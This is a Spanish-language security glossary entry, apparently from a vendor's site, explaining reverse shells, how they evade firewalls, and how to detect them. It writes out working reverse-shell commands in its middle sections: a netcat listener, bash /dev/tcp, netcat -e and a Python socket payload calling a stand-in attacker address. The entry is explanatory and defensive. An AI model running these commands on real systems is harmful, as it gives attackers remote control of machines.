Glosario Reverse Shell

Reverse Shell

TL;DR: Reverse Shell

Un shell reverso, también conocido como shell de conexión inversa, es cuando un sistema comprometido se conecta al atacante y le proporciona una sesión de línea de comandos en vivo.

¿Por qué es esto importante?

  • Los shells reversos pueden eludir los firewalls ya que la mayoría de los firewalls bloquean las conexiones entrantes pero permiten las salientes.
  • Los atacantes obtienen control real porque pueden ejecutar comandos como si estuvieran conectados directamente.
  • Los shells reversos son muy comunes ya que son un paso estándar después de que un atacante explota un sistema.

Imagínalo de esta manera: en lugar de que el atacante intente entrar, engañan al servidor para que se comunique con ellos.

¿Qué es un Shell Reverso?

Un shell reverso es un shell remoto donde la computadora de la víctima inicia la conexión con la computadora del atacante.

Normalmente, tu computadora inicia la conexión, como cuando visitas un sitio web. Con un shell reverso, esto se invierte. Después de que el atacante encuentra una manera de ejecutar código, el servidor se conecta de nuevo al atacante.

Una manera fácil de recordarlo:

  • Shell de enlace: Intentas conectarte al servidor. Si un firewall te bloquea, no puedes pasar.
  • Shell reverso: El servidor se conecta a ti. Dado que las conexiones salientes generalmente están permitidas, puedes responder y tomar el control.

Por qué Importan los Shells Reversos

Los equipos de seguridad generalmente se enfocan en defensas como firewalls, balanceadores de carga y limitación de puertos. Estos funcionan hasta que un atacante logra ejecutar código dentro del sistema.

Cuando eso sucede, el shell reverso se convierte en la principal forma del atacante de permanecer dentro.

¿Por qué es peligroso?

  • El tráfico saliente es de confianza.

    Los cortafuegos a menudo permiten el tráfico saliente en puertos como el 80 o el 443 para actualizaciones y APIs. Las shells inversas pueden ocultarse en este tráfico permitido.

  • Los atacantes pueden mantener el acceso.

    Incluso si se corrige el agujero de seguridad original, una shell activa aún puede permitir a los atacantes controlar el sistema.

  • Permite el movimiento lateral.

    Con una shell, los atacantes pueden explorar la red interna, robar contraseñas y moverse a otras computadoras. Una vulnerabilidad puede rápidamente llevar a que todo el entorno sea comprometido.

Cómo funciona una Shell Inversa

Una shell inversa tiene dos partes principales: el escucha y la carga útil.

1. El Escucha (Lado del Atacante)

El atacante utiliza un programa que espera conexiones. Netcat es una herramienta común para esto.

nc -lvnp 4444

Este comando indica a la computadora del atacante que escuche en el puerto 4444 y espere una conexión.

2. La Carga Útil (Lado de la Víctima)

Después de encontrar una vulnerabilidad como la Ejecución Remota de Código, el atacante ejecuta un comando en el servidor de la víctima para abrir una shell y enviarla de vuelta.

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Este comando inicia una shell bash y envía toda la entrada y salida a la computadora del atacante.

3. La Conexión

El servidor de la víctima inicia una conexión saliente. El cortafuegos ve esto como normal y lo permite. El escucha del atacante acepta la conexión, dando al atacante una shell en vivo en el servidor.

En esta etapa, el atacante tiene control interactivo completo sobre el servidor.

Ejemplos Comunes de Shell Inversa

Los atacantes y los hackers éticos ajustan su enfoque según las herramientas disponibles en el sistema objetivo.

Bash (Común en Linux)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

Utilizado cuando Netcat está disponible en la máquina objetivo.

nc -e /bin/sh 10.0.0.1 4444

Python

Python es muy común en servidores modernos.

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

Shell Reversa vs Shell de Enlace

Conocer la diferencia entre shells reversas y shells de enlace ayuda a defender redes.

CaracterísticaShell de EnlaceShell Reversa
Dirección de conexiónAtacante a VíctimaVíctima a Atacante
Impacto en el firewallA menudo bloqueadoA menudo permitido
Requisitos de redAcceso directo necesarioFunciona a través de NAT y firewalls
Caso de uso típicoRedes internasAtaques en el mundo real

¿Quién Usa Shells Reversas?

  • Los testers de penetración usan shells reversas para demostrar que una vulnerabilidad puede llevar a un compromiso total del sistema.
  • Los equipos rojos usan shells reversas para probar qué tan bien se controla el tráfico saliente.
  • Los actores maliciosos usan shells reversas para desplegar ransomware, robar datos o avanzar más en una red.
  • Los administradores de sistemas rara vez usan shells reversas para acceso remoto. Usualmente prefieren túneles SSH seguros.

Detección y Prevención

Detener shells reversas requiere varias capas de defensa.

  • Filtrado de tráfico saliente

    Los servidores no deben tener acceso abierto a Internet. Limita a qué destinos y puertos pueden acceder.

  • Monitoreo de comportamiento

    Un servidor web que genera un proceso de shell, como /bin/bash o cmd.exe, es altamente sospechoso.

  • Reducir la superficie de ataque.

    Elimina herramientas no utilizadas como Netcat, compiladores e intérpretes adicionales de los sistemas de producción.

Términos relacionados

  • Ejecución Remota de Código (RCE)
  • Shell Vinculado

FAQ: Shell Reverso

¿Es ilegal un shell reverso?

Los shells reversos son legales solo si los usas en sistemas que posees o tienes permiso claro para probar. Usarlos sin permiso es ilegal.

¿Por qué los cortafuegos permiten shells reversos?

Los cortafuegos están diseñados para bloquear amenazas entrantes y generalmente confían en el tráfico saliente. Los shells reversos se aprovechan de esto.

¿Puede un antivirus detectar shells reversos?

A veces. El software antivirus que utiliza firmas puede encontrar programas de shell conocidos, pero los shells sin archivos hechos con Bash o Python son mucho más difíciles de detectar.

¿Cuál es la diferencia entre un shell reverso y un webshell?

Un webshell se utiliza a través de un navegador y generalmente permanece en el sistema, pero tiene características limitadas. Un shell reverso proporciona una sesión de línea de comandos interactiva en vivo.

Próximos Pasos

¿Listo para asegurar sus aplicaciones? Elija su camino a seguir.

Únase a más de 500 empresas que ya aseguran sus aplicaciones con Plexicus

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready